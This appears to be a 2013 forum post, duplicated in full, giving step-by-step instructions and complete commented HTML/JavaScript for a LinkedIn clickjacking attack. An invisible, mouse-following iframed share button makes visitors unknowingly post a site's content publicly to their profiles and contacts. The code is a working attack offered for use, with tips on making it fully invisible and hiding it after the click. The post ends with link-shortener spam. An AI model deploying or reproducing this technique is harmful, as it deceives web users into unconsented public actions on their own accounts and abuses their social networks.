What I'm sharing here has not been shared anywhere before....EVER!
This is more involved than what you're used to seeing with "jack attacks" so don't think you know what this is already. It's not what you think
I'm sharing with you here, how you can "clickjack" somebody that is on your website, so when they click on something on your page, they are actually clicking the "linkedin share button"...which means they aren't just "Liking" your content on linkedin...they are SHARING IT PUBLICLY on their profile! It also determines the users LinkedIn login status, so it won't attempt to sharejack a visitor that is not logged into LinkedIn.
This is more involved than what you're used to seeing with "jack attacks" so don't think you know what this is already. It's not what you think
I'm sharing with you here, how you can "clickjack" somebody that is on your website, so when they click on something on your page, they are actually clicking the "linkedin share button"...which means they aren't just "Liking" your content on linkedin...they are SHARING IT PUBLICLY on their profile! It also determines the users LinkedIn login status, so it won't attempt to sharejack a visitor that is not logged into LinkedIn.
Not only are they sharing it publicly on their profile, it will ALSO appear on all of their contacts profile pages!
EDIT: Since I added login detection, the demo will only work if you are using FireFox or Chrome.
Demo URL: /clickjack/linkedin.html (simply click anywhere on the page and you'll be "sharing" http://crazyflx.com on your linkedin profile & with all your contacts. It takes about 3 minutes after clicking the button to appear on your profile, but it does show up. I don't think I need to say this, but I will just in case, you need to be logged into your linkedin account)
When fully incorporated, you obviously won't see the button at all as you do on the demo URL, it will be 100% invisible.
YES, it does detect when they have clicked the button and then hides it so your site will continue to function normally!
Your content will actually show up on their activity stream, right on that persons "homepage" for all of their friends, family & contacts to see. It will also appear on all of their contacts pages as an "update".
The "share" button that LinkedIn provides, makes "sharing" something a two step process. You first click the button, which opens a new window, and then you need to click share again. Doing this will post the content you wanted to share directly to your homepage and is shared with all of your contacts. What I'm sharing with you here, turns this into a single click process, which means you can secretly & silently "ShareJack" visitors to your site.
This is a little more involved than most of the "clickjacking" methods you may have seen, but trust me, it's worth it.
First, you need to get the "button" (this is a two step process, make sure you read it all). To do that, go here:
http://adf.ly/X6j5s Step 1: Once you are there, enter your URL on the left and press enter to generate your "share button" on the right. Then click on the share button they have generated for you. Screenshot of step 1:
Step 2: In the new window that opens up, you'll see that is where the actual "share" button is. In addition, you'll notice that the "post to updates" box is automatically checked, and the "visible to anyone" is also the default option. You need to copy the URL of the window that just opened up, as we'll be using it in just a moment.
Screenshot of step 2:
You'll then need to use "cakeslice" to "cut out & iframe" the share button of the URL you just copied. I have uploaded cakeslice here (feel free to use it and/or download it): http://crazyflx.com/cakeslice.html
I did not create cakeslice. I don't know who made it, as I've had it for years now, but it is an incredible tool. I suggest you save it.
To use cakeslice, simply enter the URL in the upper left hand corner of the page, press enter, wait for the page to load and the "select" the area that you want. In this case, you want to select the button and JUST the button (the share button). Then click "export". Copy the code it gives you, you'll need it in a second.
Once you have all of the above, you're all set to go!
Here is all of the source code of the demo URL, FULLY COMMENTED. Using it is incredibly simple, JUST READ THE COMMENTS IN THE CODE (they begin with either // or <!-- ).
If you have any questions, please don't hesitate to ask!
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <!-- this is the styling for the "sharejack" button. Set "opacity=50" to "opacity=0" and "opacity:0.5" to "opacity:0.0" to make the button invisible --> <style type="text/css"> #sharejack {opacity:0.5;filter:alpha(opacity=50); width: 30px; height: 90px; overflow:hidden; position: absolute; left: 0; top: 0;} </style> <!-- this is a jquery library. You need it so the "share" button "follows the mouse around the page" --> <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script> <head> <title></title> </head> <body> <!-- We'll be using a hidden textbox to detect a click onto the iframed like button by using an "onblur" function. On pageload, we set focus to the textbox we're hiding here, then when focus is taken away from the textbox, which happens when they click, the "onblur" action is tripped which hides the sharejack button 200 milliseconds later then we know the iframed like button has been clicked on. --> <div style="overflow:hidden; position:relative;"> <div style="height:80px; width:300px; overflow:scroll; position:absolute; right:-1000px; "> <input type="text" id="textbox" onblur="setTimeout(function() { clicked(); }, 200);"> </div> </div> <div id="sharejack" style="display:block;"> <!-- Paste the code you were provided when using cake cake slice below this line, and above the "above this line" sentence below, replacing what is here with your code from cakeslice --> <div style="overflow: hidden; width: 52px; height: 17px; position: relative;" id="i_div"> <iframe name="i_frame" src="http://www.linkedin.com/cws/share?url=http%3A%2F%2Fcrazyflx.com&original_referer=http%3A%2F%2Fdeveloper.linkedin.com%2Fsites%2Fall%2Fthemes%2Fdlc%2Fsandbox.php%3F&token=&isFramed=true&lang=en_US&_ts=1364627983895.2598" style="border: 0pt none ; left: -451px; top: -260px; position: absolute; width: 1600px; height: 799px;" scrolling="no"> </iframe> </div> <!-- ABOVE THIS LINE --> </div> <script type="text/javascript"> //function to show/hide something function setVisibility(id, visibility) { document.getElementById(id).style.display = visibility; } //they have clicked on the page, hide the button. This function is called when focus is taken away from the textbox we created earlier function clicked() { setVisibility('sharejack', 'none'); } document.getElementById("textbox").focus(); //move the sharebox to match where their mouse is $(document).ready(function(){ $(document).mousemove(function(e){ x=e.pageX ; y=e.pageY; $("#sharejack").css({top: (y - 4) + "px", left: (x - 4) + "px"}); }); }); </script> </body> </html>
EDIT: Since I added login detection, the demo will only work if you are using FireFox or Chrome.
Demo URL: /clickjack/linkedin.html (simply click anywhere on the page and you'll be "sharing" http://crazyflx.com on your linkedin profile & with all your contacts. It takes about 3 minutes after clicking the button to appear on your profile, but it does show up. I don't think I need to say this, but I will just in case, you need to be logged into your linkedin account)
When fully incorporated, you obviously won't see the button at all as you do on the demo URL, it will be 100% invisible.
YES, it does detect when they have clicked the button and then hides it so your site will continue to function normally!
Your content will actually show up on their activity stream, right on that persons "homepage" for all of their friends, family & contacts to see. It will also appear on all of their contacts pages as an "update".
The "share" button that LinkedIn provides, makes "sharing" something a two step process. You first click the button, which opens a new window, and then you need to click share again. Doing this will post the content you wanted to share directly to your homepage and is shared with all of your contacts. What I'm sharing with you here, turns this into a single click process, which means you can secretly & silently "ShareJack" visitors to your site.
This is a little more involved than most of the "clickjacking" methods you may have seen, but trust me, it's worth it.
First, you need to get the "button" (this is a two step process, make sure you read it all). To do that, go here:
http://adf.ly/X6j5s Step 1: Once you are there, enter your URL on the left and press enter to generate your "share button" on the right. Then click on the share button they have generated for you. Screenshot of step 1:
Step 2: In the new window that opens up, you'll see that is where the actual "share" button is. In addition, you'll notice that the "post to updates" box is automatically checked, and the "visible to anyone" is also the default option. You need to copy the URL of the window that just opened up, as we'll be using it in just a moment.
Screenshot of step 2:
You'll then need to use "cakeslice" to "cut out & iframe" the share button of the URL you just copied. I have uploaded cakeslice here (feel free to use it and/or download it): http://crazyflx.com/cakeslice.html
I did not create cakeslice. I don't know who made it, as I've had it for years now, but it is an incredible tool. I suggest you save it.
To use cakeslice, simply enter the URL in the upper left hand corner of the page, press enter, wait for the page to load and the "select" the area that you want. In this case, you want to select the button and JUST the button (the share button). Then click "export". Copy the code it gives you, you'll need it in a second.
Once you have all of the above, you're all set to go!
Here is all of the source code of the demo URL, FULLY COMMENTED. Using it is incredibly simple, JUST READ THE COMMENTS IN THE CODE (they begin with either // or <!-- ).
If you have any questions, please don't hesitate to ask!
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <!-- this is the styling for the "sharejack" button. Set "opacity=50" to "opacity=0" and "opacity:0.5" to "opacity:0.0" to make the button invisible --> <style type="text/css"> #sharejack {opacity:0.5;filter:alpha(opacity=50); width: 30px; height: 90px; overflow:hidden; position: absolute; left: 0; top: 0;} </style> <!-- this is a jquery library. You need it so the "share" button "follows the mouse around the page" --> <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script> <head> <title></title> </head> <body> <!-- We'll be using a hidden textbox to detect a click onto the iframed like button by using an "onblur" function. On pageload, we set focus to the textbox we're hiding here, then when focus is taken away from the textbox, which happens when they click, the "onblur" action is tripped which hides the sharejack button 200 milliseconds later then we know the iframed like button has been clicked on. --> <div style="overflow:hidden; position:relative;"> <div style="height:80px; width:300px; overflow:scroll; position:absolute; right:-1000px; "> <input type="text" id="textbox" onblur="setTimeout(function() { clicked(); }, 200);"> </div> </div> <div id="sharejack" style="display:block;"> <!-- Paste the code you were provided when using cake cake slice below this line, and above the "above this line" sentence below, replacing what is here with your code from cakeslice --> <div style="overflow: hidden; width: 52px; height: 17px; position: relative;" id="i_div"> <iframe name="i_frame" src="http://www.linkedin.com/cws/share?url=http%3A%2F%2Fcrazyflx.com&original_referer=http%3A%2F%2Fdeveloper.linkedin.com%2Fsites%2Fall%2Fthemes%2Fdlc%2Fsandbox.php%3F&token=&isFramed=true&lang=en_US&_ts=1364627983895.2598" style="border: 0pt none ; left: -451px; top: -260px; position: absolute; width: 1600px; height: 799px;" scrolling="no"> </iframe> </div> <!-- ABOVE THIS LINE --> </div> <script type="text/javascript"> //function to show/hide something function setVisibility(id, visibility) { document.getElementById(id).style.display = visibility; } //they have clicked on the page, hide the button. This function is called when focus is taken away from the textbox we created earlier function clicked() { setVisibility('sharejack', 'none'); } document.getElementById("textbox").focus(); //move the sharebox to match where their mouse is $(document).ready(function(){ $(document).mousemove(function(e){ x=e.pageX ; y=e.pageY; $("#sharejack").css({top: (y - 4) + "px", left: (x - 4) + "px"}); }); }); </script> </body> </html>
Last edited by crazyflx; 03-30-2013 at 12:36 PM.
Did you know you can create short links with Shortest and earn $$$$$$ from every click on your short urls.
ReplyDelete